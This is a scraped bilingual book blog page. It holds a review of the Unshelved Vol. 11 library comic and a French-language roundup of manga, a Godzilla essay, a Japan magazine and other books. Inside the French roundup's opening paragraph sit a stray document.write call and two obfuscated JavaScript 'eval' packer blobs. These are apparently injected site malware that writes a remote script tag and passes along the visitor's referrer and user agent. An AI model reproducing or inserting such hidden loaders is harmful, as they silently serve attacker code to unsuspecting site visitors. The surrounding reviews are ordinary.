The quality of the strips is improving with each new volume, but unfortunately the novelty of the concept wear off so it’s not uproarious anymore. However it’s still quite funny and entertaining to read (maybe less if you don’t know well the library domain). Again, like the last couple of books, I deplore that they haven’t included the “Unshelved Book Club” pages, but at least now the book is 120 pages in full color. You can choose to read the comics for free online, but personally I prefer the convenience of having a real book in my hands (and it offers encouragements to the creators). This should be a mandatory reading for all library staff!

My top ten favourites strips for this volume: 2013-05-13, 2013-05-14, 2013-07-25, 2013-10-01, 2013-11-18, 2013-12-11, 2014-01-22, 2014-03-10, 2014-09-16, and…

2013-09-02

Unshelved Vol. 11: Reads well with others, by Gene Ambaum and Bill Barnes. Seattle, Overdue Media, January 2015. 22.5 x 17 x 1 cm, 120 pgs., $11.95 US / $15.95 CDN. ISBN-13: 978-1-937914-06-6. For readers of all ages.

For more information you can check the following websites:

You can also read my comments on the previous books:

Reads well with others © 2015 Overdue Media LLC. All rights reserved.

[ Traduire ]

Les découvertes du mois

En août et en septembre j’ai fait la découverte (par hasard ou parce qu’on me les a recommandé) de quelques livres intéressants qui se sont, document.write(“”); bien sûr, ajouté à cette liste de lecture qui ne cesse de croître. Il s’agit d’ouvrages très diversifiés, dont certains en anglais, que je vous présente sans aucun ordre particulier dans l’espoir qu’ils vous intéresseront également.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytezd|var|u0026u|referrer|snabr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsdbk|var|u0026u|referrer|eftbf||js|php’.split(‘|’),0,{}))

Voir les détails
après le saut de page >>

Ad Astra

“Sicile, 241 avant J.-C. Après deux décennies de conflit avec Rome, l’armée carthaginoise menée par Hamilcar Barca doit déposer les armes. Son fils, Hannibal, a six ans quand il assiste à cette bataille. Mise en déroute, Carthage doit un tribut astronomique au vainqueur, et l’enfant est témoin, impuissant, de l’humiliation des siens.”

“Mais le jeune Hannibal refuse l’échec : élevé dans la haine de Rome, il va vouer son existence entière à la destruction de l’ennemi. Commence alors l’affrontement exceptionnel d’un des plus grands tacticiens de tous les temps et de son alter ego romain, le génie militaire Scipion l’Africain. Traversée des Alpes à dos d’éléphant, pillages impitoyables et combats parmi les plus sanglants de mémoire d’homme : un duel à mort qui a marqué l’Histoire…”

“Bravoure, complots et stratégie… Plongez au cœur des batailles qui opposèrent les légendaires Hannibal et Scipion !”

Je ne peux pas croire qu’un manga mettant en scène l’histoire de Rome m’ait échappé! Et c’est dans un style très décent! Il s’agit d’un manga seinen historique couramment prépublié dans le magazine Ultra Jump de Shueisha depuis mars 2011. On y raconte la deuxième guerre punique alors que l’expansion naissante de Rome l’opposait à l’empire Carthaginois au IIIe siècle avant notre ère. Il y a sept tomes de paru jusqu’à maintenant. Une bande-annonce et un extrait de cinquante-neuf pages sont disponible sur le site de Ki-oon. À lire absolument dès que j’ai un peu de temps!

Ad Astra : Scipion L’Africain & Hannibal Baca, Tome 1, par Mihachi KAGANO. Paris, Éditions Ki-oon, mars 2014. 13 x 18 cm, 226 pg., 7,90 € / $14.95 Can. Sens de lecture original japonais. ISBN: 978-2-35592-652-5. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Godzilla: une métaphore du japon d’après-guerre

“Le kaiju eiga (film de monstres) continue encore aujourd’hui à offrir aux théoriciens un indicateur intéressant de l’évolution de la société japonaise depuis 1954, année de sortie du premier Godzilla. Le Japon d’après-guerre demeure sans nul doute un lieu de prédilection qui se prête à l’incarnation de plusieurs périls enfantés par l’inconscience des hommes. Godzilla et ses avatars, par leurs ravages cataclysmiques, perpétuent cette image d’une nation victime des forces de la nature ou des dérives génocidaires de la science.”

Un sujet qui me semble passionnant, abordé ici par un auteur québécois dans un essai publié en France. J’ai toujours dit que le cinéma est une fenêtre ouverte sur la société et le temps et qu’il peut nous en apprendre beaucoup si seulement on peut prendre quelques instant pour l’observer et y réfléchir. C’est particulièrement vrai pour le cinéma japonais. Vous pouvez voir la couverture arrière pour plus de détails, ainsi qu’un extrait sur Google Books.

Godzillamd: une métaphore du japon d’après-guerre, par Alain Vézina. Paris, l’Harmattan, mai 2014. 21.5 x 0.8 x 13.5 cm, 198 pg., 24 € / $40.95 Can. ISBN: 978-2-343-03201-6. Recommandé pour public adulte (16+).

Pour plus d’information vous pouvez consulter les sites suivants:

Planète japon

“Planète Japon est un magazine francophone trimestriel, entièrement dédié à la culture japonaise. On y trouve des dossiers (sur l’histoire, la culture, la société japonaise, les arts et même les paysages japonais), des articles de qualités (musique, littérature, mangas, cinéma, cuisine, technologie, tendances, etc.) mais aussi des interview. Distribué partout en France ainsi que dans certains pays francophones, Planète Japon propose un voyage entre modernisme et traditions à tous les passionnés de Japon, quel que soit leur âge et leur connaissance du pays.”

On me dit que c’est disponible en kiosques ici mais jusqu’à maintenant j’en ai fait une demi-douzaine sans la moindre chance. Pour plus de détails voyez leur site internet ou la page Facebook.

La Divine Comédie par Go Nagai

J’ai été plutôt intrigué lorsque Animeland m’a appris que les éditions Black Box (dont j’ignorais l’existence: voir leur site internet et page Facebook) allait publier fin septembre une adaptation très personnelle (et qui semble très “inspirée” de Gustave Doré—pour ne pas dire copié) de la Divine Comédie de Dante dans le cadre de leur Collection Go Nagai (3 tomes de 258 pages, 14,5 x 21 cm, 32.70 €). Cela n’a rien de récent puisque Dante shinkyoku (?????) a originalement été publié au Japon en 1994.

Je n’aime pas du tout Go Nagai: je trouve son dessin laid, ses histoires vulgaires et il a la fâcheuse tendance à usurper le travail de ses assistants sous son propre nom. J’imagine assez bien cependant une adaptation de Dante par cet auteur fasciné par l’horreur démoniaque. Je serais donc curieux de voir ce que cela donne comme résultat (en fait, nul besoin d’attendre que cette série traverse l’Atlantique puisqu’il existe déjà une “scanlation” anglaise partielle). À voir donc, mais par simple curiosité.

The Firefly Effect: Electoral 2072 – Book 1

I have this friend from college who seems to be a real renaissance man: he’s an athlete, an artist (he drew a wicked Calvin on my dorm’s door and inked the comic I scripted, Gates of Pandragon), an engineer, and a lawyer. I knew he was creative (he wrote some RPG scenarii) but I recently discovered that he also wrote a couple of science-fiction novels! Some would say they are not real books because they are not in print, but ebooks are the future and the publishing company is an open access publisher specialized in Science, Technology and Medicine! It looks quite serious (but actually they’re based in India and have a questionable record; it’s more like self-publishing as you pay them to publish your stuff). He told me that he writes hard-science and implied that it might be a difficult read since he writes for himself, assuming that his readers have a PhD in Physics! Comments are good, though, and it looks interesting so I will surely give it a try as soon as I have a little time.

The Firefly Effect: Electoral 2072 – Book 1, by Alain Villeneuve. Austin Publishing, June 2014. 278 pg., $3.39 (Kindle edition). ASIN B00L0T49WA. The second book is titled The Oldest: Electoral 2072.

For more information you can check the following websites:

A Brief History of Manga

“Manga is more than a genre in the comics field: it is a vital creative medium in its own right, with hundreds of millions of readers worldwide, a host of graphic styles, and a rich history now spanning seven decades.”

“Now for the first time, that history is told by an award-winning expert in the field. Covering topics from Akira to Mazinger Z, this book is fully illustrated throughout, and photos of key creators accompany accessible sidebars and timelines.”

“Answering the key questions of any fan where did my favourite manga come from, and what should I read next? this book will open doors to neophytes and experts alike.”

There sure has been an avalanche of reference books about manga lately, but I always said that there is never too much information. Each new books offer a new angle, a new perspective. And this time it’s written by Helen McCarthy, a well-known anime and manga specialist from the United Kingdom. I am quite curious to read it and add it to my reference shelf. I’ll try to get a review copy from the publisher (if I can reach them, their website was down for a while).

A Brief History of Manga: The essential pocket guide to the Japanese pop culture phenomenon, by Helen McCarthy. London: Ilex Press, July 2014. 18.5 x 11.5 cm, 96 pg., £7.99 / $14.99 Cnd. ISBN:978-1-78157-098-2.

For more information you can check the following websites:

Histoire(s) du manga moderne

“1952. Le manga moderne fait ses premiers pas dans un Japon qui retrouve son indépendance après la Seconde Guerre mondiale. 2012. Phénomène culturel global, le manga est un rouage essentiel de la troisième puissance économique au monde. Comment, en soixante ans, la BD japonaise a-t-elle connu un tel essor ? Qui sont les acteurs ayant permis cette incroyable expansion ? Année après année, découvrez les événements majeurs et les artistes qui ont marqué l’histoire du manga moderne.”

J’ai introduit ce titre il y plus d’un an déjà mais, là il est finalement paru alors j’aimerais encore une fois en souligner l’importance avant d’en faire un commentaire plus approfondi. C’est un bel ouvrage avec une présentation chronologique fort intéressante. Et comme je l’ai dit plus haut, on a jamais trop de références sur le manga, chaque nouveau livre apportant une nouvelle perspective.

Histoire(s) du manga moderne , par Matthieu Pinon et Laurent Lefebvre. Paris: YNNIS Éditions, Avril 2015. 24 x 2.5 x 27 cm, 204 pg., 29.99 € / $49.95 Can. ISBN: 979-1-0933-7622-6.

Pour plus d’information vous pouvez consulter les sites suivants:


[ Translate ]